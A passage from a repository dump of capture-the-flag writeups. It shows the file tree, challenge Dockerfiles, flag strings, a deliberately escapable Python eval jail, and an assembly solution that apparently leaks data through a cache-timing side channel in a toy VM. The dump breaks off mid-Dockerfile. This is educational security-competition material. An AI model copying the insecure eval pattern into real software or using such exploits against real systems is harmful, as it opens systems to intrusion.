├── .gitignore
├── README.md
├── angstromctf23
└── misc
│ └── obligatory
│ └── writeup
│ ├── README.md
│ └── src
│ ├── Dockerfile
│ ├── flag.txt
│ └── jail.py
├── b01lers22
├── README.md
├── pwn
│ └── veryfastvm
│ │ ├── README.md
│ │ ├── cpu.orig.py
│ │ ├── cpu.py
│ │ ├── flag.txt
│ │ ├── pseudo-code.c
│ │ ├── solution.asm
│ │ ├── solution.min.asm
│ │ └── solution.too-many.asm
└── web
│ └── hackerplace
│ ├── README.md
│ ├── hackerplace-src
│ ├── Dockerfile_bot
│ ├── Dockerfile_web
│ ├── app.js
│ ├── bot.js
│ ├── canvas
│ │ └── canvas
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── package.json
│ ├── pixel.png
│ ├── static
│ │ ├── css
│ │ │ └── style.css
│ │ └── js
│ │ │ └── index.js
│ └── templates
│ │ └── index.ejs
│ └── writeup-resources
│ ├── callback-success.png
│ ├── index.png
│ ├── jwt.png
│ ├── to-server-mal.png
│ └── to-server-reg.png
├── csaw22-finals
└── misc
│ ├── embryo-leak
│ ├── README.md
│ ├── resources
│ │ ├── help.png
│ │ └── less.png
│ ├── src-private
│ │ ├── flag
│ │ └── service.py
│ └── src-public
│ │ └── service.py
│ └── super-guesser-game
│ ├── README.md
│ ├── resources
│ └── run.png
│ ├── service.py
│ └── src
│ ├── flag.txt
│ └── service.py
├── csaw22-quals
└── pwn
│ └── how2pwn
│ ├── README.md
│ ├── challenge1
│ ├── README.md
│ └── solution1.py
│ ├── challenge2
│ ├── README.md
│ └── solution2.py
│ ├── challenge3
│ ├── README.md
│ └── solution3.py
│ ├── challenge4
│ ├── Makefile
│ ├── README.md
│ ├── myebpf-thin.c
│ ├── myebpf.c
│ └── solution4.py
│ ├── public
│ ├── Dockerfile
│ ├── README.md
│ ├── bin
│ │ ├── all
│ │ │ ├── chal1
│ │ │ ├── chal2
│ │ │ ├── chal3
│ │ │ └── chal4
│ │ ├── chal
│ │ ├── exp.py
│ │ ├── flag
│ │ ├── logo
│ │ └── start.sh
│ ├── ctf.xinetd
│ ├── docker-compose.yml
│ ├── src
│ │ ├── chal1.c
│ │ ├── chal2.c
│ │ ├── chal3.c
│ │ └── chal4.c
│ └── start.sh
│ └── writeup-resources
│ ├── chal2-after.png
│ ├── chal2-after2.png
│ ├── chal2-before.png
│ ├── chal2-before2.png
│ └── chal2-ss-call-rdx.png
├── diceCTF23
├── misc
│ └── mlog
│ │ ├── README.md
│ │ ├── resources
│ │ ├── chatgpt-output.png
│ │ ├── chatgpt-prompt.png
│ │ ├── flag.png
│ │ ├── playground-flag.png
│ │ ├── prompt.png
│ │ └── sample-input.png
│ │ └── src
│ │ └── mlog.tar.gz
├── pwn
│ └── dice-visor
│ │ ├── README.md
│ │ ├── solution
│ │ ├── build.sh
│ │ ├── gen-shellcode.py
│ │ ├── ghidra-kvm.h
│ │ ├── init
│ │ ├── initramfs_patched.cpio.gz
│ │ └── main.c
│ │ └── src
│ │ ├── bzImage
│ │ ├── dicer-visor
│ │ └── initramfs.cpio.gz
└── rev
│ ├── not-baby-parallelism
│ ├── README.md
│ ├── solution.py
│ └── src
│ │ ├── flag.out
│ │ └── pppp
│ ├── parallelism
│ ├── README.md
│ ├── resources
│ │ ├── gdb.png
│ │ ├── memcmp.png
│ │ ├── ready-to-attach.png
│ │ └── run.png
│ └── src
│ │ └── parallelism
│ └── time-travel
│ ├── README.md
│ ├── solution.py
│ └── src
│ ├── input.bin
│ └── time_travel
├── googleCTF22
├── misc
│ ├── Segfault-Labyrinth
│ │ ├── README.md
│ │ ├── resources
│ │ │ └── 52dfc0e5d7ec9438e47b7ca7e721b87bb14a86d55e2970fdec94cd4ddac4d6fbd129f16780feaf6dc756b79319712cc980a60e52749b4b691bc9f9769831d697.zip
│ │ └── src
│ │ │ ├── challenge
│ │ │ ├── flag.txt
│ │ │ ├── gdbscript
│ │ │ ├── main.c
│ │ │ ├── seg-faulting-labs.h
│ │ │ ├── shellcode.c
│ │ │ ├── solution.py
│ │ │ └── test
│ │ │ ├── Makefile
│ │ │ └── test.c
│ └── appnote
│ │ ├── README.md
│ │ ├── resources
│ │ ├── 2551253642bde3066e55c9cc8e9b0b4aa77feadc00c81032da778e6f7c89907135dfc2611fd8617204720dbfadb31429ae11f6ecd202887f4ce99f2f53a3c5e8.zip
│ │ ├── detailed-offsets.png
│ │ └── overview.png
│ │ └── src
│ │ ├── dump.zip
│ │ └── solution.py
└── sandbox
│ └── treebox
│ ├── README.md
│ ├── resources
│ └── 17f98f8c9c9f8089ab3a35e94de752582253c3784637fe6ef6a561c12b817fcd7acf05a4573bff2cd43247f8e5263200aa29745605ae2719de774160bb21e301.zip
│ └── src
│ ├── .python-version
│ ├── Dockerfile
│ ├── flag
│ └── treebox.py
├── hack-a-sat-23
└── pwn
│ ├── RISC-V-Smash-Baby
│ ├── README.md
│ ├── resources
│ │ ├── gdb-multiarch.png
│ │ ├── pwntools-gdb.png
│ │ ├── riscv-datatypes.png
│ │ └── riscv-registers.png
│ └── src
│ │ ├── minimal-template.py
│ │ ├── qemu-riscv
│ │ ├── qemu-riscv-static
│ │ ├── smash-baby
│ │ └── solution.py
│ └── dROP-Baby
│ ├── README.md
│ └── src
│ ├── drop-baby
│ ├── gadgets-func-calls.log
│ ├── gadgets.log
│ ├── hidden
│ └── server.ini
│ ├── qemu-riscv
│ ├── qemu-riscv-static
│ ├── server.ini
│ ├── solution-cheesy.py
│ └── solution.py
├── insomnihack2022
├── PimpMyVariant
│ ├── README.md
│ └── resources
│ │ └── home.png
└── herald
│ ├── Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk
│ ├── README.md
│ └── resources
│ ├── app-flag.png
│ └── app-running.png
├── insomnihack2024
└── CryptoNotes
│ ├── README.md
│ ├── resources
│ └── app-a91690d6479014d533bea108755aba2424b45b4b416823ed0c821ae421f820eb.apk
│ └── solution
│ ├── MaliciousApp
│ ├── .gitignore
│ ├── CMakeLists.txt
│ ├── app
│ │ ├── .gitignore
│ │ ├── build.gradle
│ │ ├── proguard-rules.pro
│ │ └── src
│ │ │ └── main
│ │ │ ├── AndroidManifest.xml
│ │ │ ├── cpp
│ │ │ ├── main.cpp
│ │ │ └── mylogger.h
│ │ │ ├── java
│ │ │ └── com
│ │ │ │ ├── example
│ │ │ │ └── insomnipwn
│ │ │ │ │ └── MainActivity.kt
│ │ │ │ └── inso
│ │ │ │ └── ins24
│ │ │ │ └── utils
│ │ │ │ ├── CryptoConfig.java
│ │ │ │ └── JSONBuilder.java
│ │ │ └── res
│ │ │ ├── drawable-v24
│ │ │ └── ic_launcher_foreground.xml
│ │ │ ├── drawable
│ │ │ └── ic_launcher_background.xml
│ │ │ ├── layout
│ │ │ └── activity_main.xml
│ │ │ ├── mipmap-anydpi-v26
│ │ │ ├── ic_launcher.xml
│ │ │ └── ic_launcher_round.xml
│ │ │ ├── mipmap-hdpi
│ │ │ ├── ic_launcher.webp
│ │ │ └── ic_launcher_round.webp
│ │ │ ├── mipmap-mdpi
│ │ │ ├── ic_launcher.webp
│ │ │ └── ic_launcher_round.webp
│ │ │ ├── mipmap-xhdpi
│ │ │ ├── ic_launcher.webp
│ │ │ └── ic_launcher_round.webp
│ │ │ ├── mipmap-xxhdpi
│ │ │ ├── ic_launcher.webp
│ │ │ └── ic_launcher_round.webp
│ │ │ ├── mipmap-xxxhdpi
│ │ │ ├── ic_launcher.webp
│ │ │ └── ic_launcher_round.webp
│ │ │ ├── values-night
│ │ │ └── themes.xml
│ │ │ ├── values
│ │ │ ├── colors.xml
│ │ │ ├── strings.xml
│ │ │ └── themes.xml
│ │ │ └── xml
│ │ │ ├── backup_rules.xml
│ │ │ └── data_extraction_rules.xml
│ ├── build.gradle
│ ├── gradle.properties
│ ├── gradle
│ │ └── wrapper
│ │ │ ├── gradle-wrapper.jar
│ │ │ └── gradle-wrapper.properties
│ ├── gradlew
│ ├── gradlew.bat
│ └── settings.gradle
│ ├── init.gdbscript
│ └── main.js
├── justCTF22
└── pwn
│ └── arm
│ ├── Armv8-A-AArch64-Cheatsheet.png
│ ├── README.md
│ ├── arm32-bit-cheatsheetv1.3.png
│ ├── cli
│ ├── cli_minimal_aarch64
│ ├── Dockerfile
│ ├── cli
│ ├── flag.txt
│ └── run.sh
│ ├── cli_minimal_native
│ ├── Dockerfile
│ ├── cli
│ ├── flag.txt
│ └── run.sh
│ ├── resources
│ ├── cmd-prompt.png
│ └── login-prompt.png
│ └── solution.py
├── lakeCTF23
└── pwn
│ └── trustMEE
│ ├── README.md
│ ├── resources
│ ├── Dockerfile
│ ├── exploit_template.py
│ ├── flag.txt
│ ├── grade_ca.c
│ ├── grade_ca.h
│ ├── grade_ta.so
│ ├── opentee.conf
│ └── run.sh
│ └── solution
│ ├── Dockerfile
│ ├── Makefile
│ ├── grade_ca.c
│ ├── grade_ca.h
│ ├── load_grade_ca.c
│ ├── mmap-demo
│ └── main.c
│ ├── opentee-helper.h
│ ├── reload-forcefully-ta.sh
│ ├── run-client.sh
│ ├── run-gdb.sh
│ └── script.gdb
├── m0lecon22
├── dumbforum
│ ├── README.md
│ ├── dumbforum-src
│ │ ├── Dockerfile
│ │ ├── app
│ │ │ ├── __init__.py
│ │ │ ├── errors.py
│ │ │ ├── forms.py
│ │ │ ├── models.py
│ │ │ ├── routes.py
│ │ │ ├── static
│ │ │ │ └── style.css
│ │ │ └── templates
│ │ │ │ ├── 404.html
│ │ │ │ ├── 409.html
│ │ │ │ ├── 500.html
│ │ │ │ ├── base.html
│ │ │ │ ├── edit_profile.html
│ │ │ │ ├── forums.html
│ │ │ │ ├── index.html
│ │ │ │ ├── login.html
│ │ │ │ ├── post.html
│ │ │ │ ├── profile.html
│ │ │ │ └── register.html
│ │ ├── config.py
│ │ ├── db
│ │ │ └── app.db
│ │ ├── docker-compose.yml
│ │ ├── main.py
│ │ └── requirements.txt
│ ├── jinja2-dumper.py
│ ├── jinja2.TemplateReference.dump
│ └── writeup-resources
│ │ ├── detour-xss.png
│ │ ├── flag.png
│ │ ├── index.png
│ │ ├── invalid-email.png
│ │ └── register-malicious.png
└── fancynotes
│ ├── README.md
│ ├── fancynotes-src
│ ├── Dockerfile
│ ├── app
│ │ ├── __init__.py
│ │ ├── db.py
│ │ ├── models.py
│ │ ├── routes.py
│ │ ├── static
│ │ │ └── chao.gif
│ │ ├── templates
│ │ │ ├── base.html
│ │ │ ├── index.html
│ │ │ ├── login.html
│ │ │ ├── notes.html
│ │ │ └── registration.html
│ │ ├── utils.py
│ │ └── validators.py
│ ├── docker-compose.yml
│ └── requirements.txt
│ ├── solution.py
│ └── writeup-resources
│ ├── create-note.png
│ ├── index.png
│ ├── login.png
│ └── notes.png
├── midnight-quals-23
├── pwn
│ └── scaas
│ │ ├── README.md
│ │ ├── resources
│ │ ├── sample-run.png
│ │ └── solution-txt.png
│ │ ├── scaas.c
│ │ ├── solution.py
│ │ ├── solver.py
│ │ └── src
│ │ └── scaas
└── rev
│ └── oss
│ ├── README.md
│ ├── resources
│ ├── xref-puts-O0.png
│ └── xref-puts-O2.png
│ ├── solution
│ ├── Makefile
│ ├── lift.py
│ ├── oss.angr.c
│ └── solution.py
│ └── src
│ └── oss.c
├── midnight-quals-24
└── pwn
│ └── roborop
│ ├── Makefile
│ ├── README.md
│ ├── brutter.sh
│ ├── dummy.c
│ ├── dummy.gdbscript
│ ├── resources
│ └── roborop.tar.gz
│ └── solution.py
├── pwnable.tw
└── 3x17
│ ├── 3x17
│ ├── 3x17-ghidra.gpr
│ ├── 3x17-ghidra.rep
│ ├── idata
│ │ ├── 00
│ │ │ ├── 00000000.prp
│ │ │ └── ~00000000.db
│ │ │ │ └── db.13.gbf
│ │ ├── ~index.bak
│ │ └── ~index.dat
│ ├── project.prp
│ ├── projectState
│ ├── user
│ │ └── ~index.dat
│ └── versioned
│ │ ├── ~index.bak
│ │ └── ~index.dat
│ └── expoit.py
├── sekaictf24
└── hijacker
│ ├── README.md
│ ├── resources
│ └── secure_app.apk
│ └── solution
│ ├── .gitignore
│ ├── app
│ ├── .gitignore
│ ├── build.gradle.kts
│ ├── proguard-rules.pro
│ └── src
│ │ └── main
│ │ ├── AndroidManifest.xml
│ │ ├── java
│ │ └── zero
│ │ │ └── tolerance
│ │ │ └── sekaidemo
│ │ │ ├── MainActivity.kt
│ │ │ └── OverlayService.kt
│ │ └── res
│ │ ├── drawable
│ │ ├── ic_launcher_background.xml
│ │ └── ic_launcher_foreground.xml
│ │ ├── layout
│ │ ├── activity_login.xml
│ │ ├── activity_main.xml
│ │ └── overlay_view.xml
│ │ ├── mipmap-anydpi
│ │ ├── ic_launcher.xml
│ │ └── ic_launcher_round.xml
│ │ ├── mipmap-hdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-mdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── values-night
│ │ └── themes.xml
│ │ ├── values
│ │ ├── colors.xml
│ │ ├── strings.xml
│ │ └── themes.xml
│ │ └── xml
│ │ ├── backup_rules.xml
│ │ └── data_extraction_rules.xml
│ ├── build.gradle.kts
│ ├── gradle.properties
│ ├── gradle
│ ├── libs.versions.toml
│ └── wrapper
│ │ ├── gradle-wrapper.jar
│ │ └── gradle-wrapper.properties
│ ├── gradlew
│ ├── gradlew.bat
│ └── settings.gradle.kts
├── statistics.sh
├── trx25
├── pwn
│ └── virtual_insanity
│ │ ├── README.md
│ │ ├── resources
│ │ └── dist.zip
│ │ └── solution.py
└── pyjail
│ └── golf
│ ├── README.md
│ └── resources
│ └── challenge-misc-golf.zip
├── uiuctf2020
├── .gitignore
├── README.md
├── kernel-exploitation
│ ├── Getting_Started.pdf
│ ├── Syscalls.pdf
│ ├── freaky-file-descriptors
│ │ └── README.md
│ ├── how-to-get-started
│ │ └── writeup.md
│ ├── kernel-memory-leak
│ │ ├── README.md
│ │ ├── dollar-not-working.png
│ │ ├── exploit-proof.png
│ │ ├── hello-world.png
│ │ ├── kernel-panic.png
│ │ ├── part1-too-much.png
│ │ ├── part2.png
│ │ ├── part3.png
│ │ ├── rash-splash-screen.png
│ │ └── workaround.png
│ ├── kernel-time-to-start
│ │ ├── README.md
│ │ ├── correct-1-char.gif
│ │ ├── correct-2-chars.gif
│ │ ├── dual.gif
│ │ ├── invalid-1-char.gif
│ │ ├── login-screen.png
│ │ └── login-success.png
│ └── whats-a-syscall
│ │ ├── README.md
│ │ ├── code1.png
│ │ ├── screen1.png
│ │ ├── screen2.png
│ │ └── success.png
└── pwn
│ └── accounting-accidents
│ ├── README.md
│ ├── solution
│ ├── accounting
│ ├── auxiliary.c
│ ├── auxiliary.so
│ ├── checksec.json
│ ├── gdb-script.gdb
│ ├── ghidra
│ │ ├── accounting.gpr
│ │ └── accounting.rep
│ │ │ ├── idata
│ │ │ ├── 00
│ │ │ │ ├── 00000000.prp
│ │ │ │ └── ~00000000.db
│ │ │ │ │ └── db.14.gbf
│ │ │ ├── ~index.bak
│ │ │ └── ~index.dat
│ │ │ ├── project.prp
│ │ │ ├── projectState
│ │ │ ├── user
│ │ │ └── ~index.dat
│ │ │ └── versioned
│ │ │ ├── ~index.bak
│ │ │ └── ~index.dat
│ ├── node.h
│ └── solution.py
│ ├── ss-output.png
│ └── ss-solution.png
├── uiuctf22
├── jail
│ ├── a-horse-with-no-names
│ │ ├── README.md
│ │ ├── desert.modified.py
│ │ ├── generator.py
│ │ ├── resources
│ │ │ ├── Dockerfile
│ │ │ ├── desert.py
│ │ │ └── success.png
│ │ └── src
│ │ │ ├── Dockerfile
│ │ │ ├── desert.py
│ │ │ └── flag.txt
│ ├── a-horse-with-no-neighs
│ │ ├── README.md
│ │ ├── desert.modified.py
│ │ ├── generator.py
│ │ ├── resources
│ │ │ └── mapping.png
│ │ └── src
│ │ │ ├── Dockerfile
│ │ │ ├── desert.py
│ │ │ └── flag.txt
│ └── safepy
│ │ ├── README.md
│ │ ├── resources
│ │ └── handout.tar.gz
│ │ └── src
│ │ ├── Dockerfile
│ │ ├── flag
│ │ ├── main.py
│ │ ├── nsjail.cfg
│ │ └── run.sh
└── pwn
│ ├── no-syscalls-allowed
│ ├── README.md
│ ├── flag.txt
│ ├── no_syscalls_allowed
│ ├── no_syscalls_allowed.modified.c
│ ├── resources
│ │ ├── r13.png
│ │ └── vmm.png
│ ├── solution.py
│ └── src
│ │ └── no_syscalls_allowed.c
│ └── odd-shell
│ ├── README.md
│ ├── flag
│ ├── resources
│ ├── after.png
│ ├── before.png
│ └── registers.png
│ ├── solution.py
│ └── src
│ ├── Dockerfile
│ ├── chal
│ └── nsjail.cfg
├── uiuctf23
├── pwn
│ ├── chainmail
│ │ ├── README.md
│ │ ├── resources
│ │ │ ├── Dockerfile
│ │ │ ├── chal
│ │ │ ├── chal.c
│ │ │ └── flag.txt
│ │ └── solution.py
│ ├── virophage
│ │ ├── README.md
│ │ ├── resources
│ │ │ ├── flag.png
│ │ │ └── handout.tar.gz
│ │ └── solution
│ │ │ ├── 32-bitheader
│ │ │ ├── shellcode-generator.py
│ │ │ └── solve.sh
│ └── zapping-a-suid1
│ │ ├── README.md
│ │ ├── resources
│ │ └── handout.tar.gz
│ │ └── solution
│ │ ├── Makefile
│ │ ├── exploit.c
│ │ ├── shellcode-execve.S
│ │ ├── shellcode-flag.S
│ │ └── solve.sh
└── pyjail
│ └── rattler-read
│ └── writeup
│ ├── README.md
│ ├── resources
│ ├── handout.tar.gz
│ ├── neat-trick.png
│ ├── pop-a-shell.png
│ ├── random-interactive.png
│ ├── random-module.png
│ ├── scoping.png
│ └── solve.png
│ └── solution.py
└── umass22
├── README.md
├── baby-vm
├── .gitignore
├── README.md
├── babyvm
├── gdbpy-script.py
└── rwx-dump
├── umassdining
├── Dockerfile
├── README.md
├── run.sh
└── src
│ ├── bot
│ └── bot.py
│ ├── main.py
│ ├── static
│ ├── images
│ │ ├── 1984.jpg
│ │ └── howmuchyoushouldeatumassdining.jpg
│ ├── js
│ │ └── thing.js
│ └── styles
│ │ └── bootstrap.min.css
│ └── templates
│ ├── essay_checker.html
│ ├── index.html
│ └── register.html
└── venting
├── README.md
├── solution.py
└── writeup-resources
├── admin-page.png
├── index.png
├── inthevents.png
└── requests.png
/.gitignore:
--------------------------------------------------------------------------------
1 | .vscode/
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CTF writeups
2 |
3 | A place where I post CTF writeups and solutions for challenges that I have solved.
4 |
5 | ## Repo statistics
6 |
7 | This repository contains the following number of writeups per category:
8 |
9 | | | |
10 | |----|----|
11 | | crypto | 1 |
12 | | hypervisor-pwn | 1 |
13 | | misc | 2 |
14 | | pwn | 18 |
15 | | pyjail | 9 |
16 | | rev | 6 |
17 | | Android | 2 |
18 | | web | 5 |
19 |
--------------------------------------------------------------------------------
/angstromctf23/misc/obligatory/writeup/src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM pwn.red/jail
2 |
3 | COPY --from=python:3.10-slim-bullseye / /srv
4 | COPY jail.py /srv/app/run
5 | COPY flag.txt /srv/app/flag.txt
6 |
7 | RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | od -tx1 -An | tr -d ' ').txt
8 | RUN chmod 755 /srv/app/run
9 |
10 | ENV JAIL_MEM=20M
11 |
--------------------------------------------------------------------------------
/angstromctf23/misc/obligatory/writeup/src/flag.txt:
--------------------------------------------------------------------------------
1 | actf{c0uln7_g3t_1t_7o_w0rk_0n_python39_s4dge}
2 |
--------------------------------------------------------------------------------
/angstromctf23/misc/obligatory/writeup/src/jail.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | cod = input("sned cod: ")
3 |
4 | if any(x not in "q(jw=_alsynxodtg)feum'zk:hivbcpr" for x in cod):
5 | print("bad cod")
6 | else:
7 | try:
8 | print(eval(cod, {"__builtins__": {"__import__": __import__}}))
9 | except Exception as e:
10 | print("oop", e)
11 |
--------------------------------------------------------------------------------
/b01lers22/README.md:
--------------------------------------------------------------------------------
1 | # b01lersCTF 2022
2 |
3 | > b01lers CTF is the public competitive CTF hosted by the Purdue Capture The Flag team.
4 | >
5 | > Registration will open approximately 2 weeks prior to the event. Join our discord at discord.gg/tBMqujE and stay posted for further info at https://ctf.b01lers.com
6 | >
7 | > Happy hacking!
8 | >
9 | > Prizes: Unfortunately, due to some administrative issues there are no explicit prizes for standings this year.
10 | >
11 |
12 | Our team [VUbar](https://ctftime.org/team/1353/) came 31th in place.
13 |
14 | Challenges are [publicly available](https://github.com/b01lers/b01lers-ctf-2022).
15 |
--------------------------------------------------------------------------------
/b01lers22/pwn/veryfastvm/flag.txt:
--------------------------------------------------------------------------------
1 | bctf{c4ching_is_v3ry_goodo}
--------------------------------------------------------------------------------
/b01lers22/pwn/veryfastvm/solution.asm:
--------------------------------------------------------------------------------
1 |
2 | # Solution with no comments to satisfy 2000 characters limitation
3 | movfrom r0 0000000 r1
4 | jmpz 21
5 | movc r1 4
6 | movc r6 32
7 | movc r8 1
8 | movc r9 2
9 | mov r2 r1
10 | mul r2 r6
11 | movfrom r3 1048575 r1
12 | movc r4 0x00000001
13 | mov r0 r4
14 | and r0 r3
15 | jmpz 2
16 | movfrom r0 0000000 r2
17 | mul r4 r9
18 | add r2 r8
19 | mov r0 r4
20 | jmpg r7 -7
21 | sub r1 r8
22 | mov r0 r1
23 | jmpg r7 -15
24 |
25 | reset
26 |
27 | movc r1 5
28 | movc r6 32
29 | movc r8 1
30 | movc r9 2
31 | mov r2 r1
32 | mul r2 r6
33 | sub r2 r8
34 | movc r3 0
35 | movc r4 32
36 | time
37 | mov r5 r0
38 | movfrom r0 0000000 r2
39 | time
40 | sub r0 r5
41 | sub r0 r8
42 | sub r0 r9
43 | xor r0 r8
44 | mul r3 r9
45 | or r3 r0
46 | sub r2 r8
47 | sub r4 r8
48 | mov r0 r4
49 | jmpg r7 -13
50 | movto r3 1000000 r1
51 | sub r1 r8
52 | mov r0 r1
53 | jmpg r8 -22
54 | movfrom r0 1000002 r7
55 | movfrom r1 1000003 r7
56 | movfrom r2 1000004 r7
57 | movfrom r3 1000005 r7
58 | magic
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/Dockerfile_bot:
--------------------------------------------------------------------------------
1 | FROM node:alpine
2 |
3 | WORKDIR /app
4 | COPY package.json .
5 | RUN npm install
6 | COPY . .
7 |
8 | CMD ["node", "bot.js"]
9 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/Dockerfile_web:
--------------------------------------------------------------------------------
1 | FROM node:alpine
2 |
3 | WORKDIR /app
4 | COPY package.json .
5 | RUN npm install
6 | COPY . .
7 |
8 | CMD ["node", "app.js"]
9 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | place:
3 | build:
4 | dockerfile: ./Dockerfile_web
5 | context: .
6 | ports:
7 | - "8000:3000"
8 | volumes:
9 | - ./canvas:/app/canvas
10 | bot:
11 | build:
12 | dockerfile: ./Dockerfile_bot
13 | context: .
14 | restart: always
15 |
16 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/flag.txt:
--------------------------------------------------------------------------------
1 | bctf{pl4y_n1ce_w1th_th3_0ther_h4ck3rz_d34r}
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "axios": "^0.26.1",
4 | "cookie-parser": "^1.4.6",
5 | "ejs": "^3.1.7",
6 | "express": "^4.17.3",
7 | "express-ws": "^5.0.2",
8 | "jsonwebtoken": "^8.5.1",
9 | "pngjs": "^6.0.0",
10 | "ws": "^8.5.0"
11 | },
12 | "name": "hackerplace",
13 | "version": "1.0.0",
14 | "main": "app.js",
15 | "scripts": {
16 | "test": "echo \"Error: no test specified\" && exit 1"
17 | },
18 | "keywords": [],
19 | "author": "",
20 | "license": "ISC",
21 | "description": ""
22 | }
23 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/pixel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/hackerplace-src/pixel.png
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/static/css/style.css:
--------------------------------------------------------------------------------
1 | html, body {
2 | min-height: 100%;
3 | height: 100%;
4 | margin: 0;
5 | }
6 |
7 | html {
8 | box-sizing: border-box;
9 | }
10 |
11 | body {
12 | background-color: #555;
13 | display: flex;
14 | justify-content: center;
15 | align-items: center;
16 | overflow: hidden;
17 | }
18 |
19 | *, *::before, *::after {
20 | box-sizing: inherit;
21 | }
22 |
23 | canvas {
24 | image-rendering: pixelated;
25 | }
26 |
27 | #palette {
28 | position: absolute;
29 | bottom: 16px;
30 | display: flex;
31 | padding: 16px;
32 | background-color: #ccc;
33 | }
34 |
35 | .color {
36 | width: 40px;
37 | height: 40px;
38 | border: 2px solid black;
39 | margin: 0 4px;
40 | cursor: pointer;
41 | }
42 |
43 | .color.selected {
44 | border: 2px solid green;
45 | }
46 |
47 | #cooldown {
48 | background-color: white;
49 | padding: 12px;
50 | color: black;
51 | position: fixed;
52 | top: 20px;
53 | width: fit-content;
54 | margin: 0 auto;
55 | }
56 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/hackerplace-src/templates/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | hacker/place
8 |
9 |
10 |
11 |
12 |
13 | <% for (let i = 0; i < palette.length; i++) { %>
14 |
15 | <% } %>
16 |
17 | Cooldown: 0
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/writeup-resources/callback-success.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/writeup-resources/callback-success.png
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/writeup-resources/index.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/writeup-resources/index.png
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/writeup-resources/jwt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/writeup-resources/jwt.png
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/writeup-resources/to-server-mal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/writeup-resources/to-server-mal.png
--------------------------------------------------------------------------------
/b01lers22/web/hackerplace/writeup-resources/to-server-reg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/b01lers22/web/hackerplace/writeup-resources/to-server-reg.png
--------------------------------------------------------------------------------
/csaw22-finals/misc/embryo-leak/resources/help.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-finals/misc/embryo-leak/resources/help.png
--------------------------------------------------------------------------------
/csaw22-finals/misc/embryo-leak/resources/less.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-finals/misc/embryo-leak/resources/less.png
--------------------------------------------------------------------------------
/csaw22-finals/misc/embryo-leak/src-private/flag:
--------------------------------------------------------------------------------
1 | flag{y0U_f1NiSHeD_EmpR3Yo_lAeK_Ch@L1EnGe_aNd_uSE_hE1p_T0_Le@k_ThE_vAr_272763f8}
--------------------------------------------------------------------------------
/csaw22-finals/misc/super-guesser-game/resources/run.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/csaw22-finals/misc/super-guesser-game/resources/run.png
--------------------------------------------------------------------------------
/csaw22-finals/misc/super-guesser-game/src/flag.txt:
--------------------------------------------------------------------------------
1 | flag{c0ool_y0u_ArE_aN_SuPer_GuE33eR_M@n!}
2 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/challenge4/Makefile:
--------------------------------------------------------------------------------
1 |
2 |
3 | all: myebpf myebpf-thin
4 |
5 | myebpf: myebpf.c
6 | gcc -g -O0 myebpf.c -o myebpf
7 |
8 | myebpf-thin: myebpf-thin.c
9 | gcc -g -O0 myebpf-thin.c -o myebpf-thin
10 |
11 | clean:
12 | rm -rf myebpf myebpf-thin *.o
13 |
--------------------------------------------------------------------------------
/csaw22-quals/pwn/how2pwn/public/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04 as ctf
2 |
3 | RUN apt-get update && \
4 | apt-get install -y lib32z1 xinetd
5 |
6 | RUN useradd -m ctf
7 |
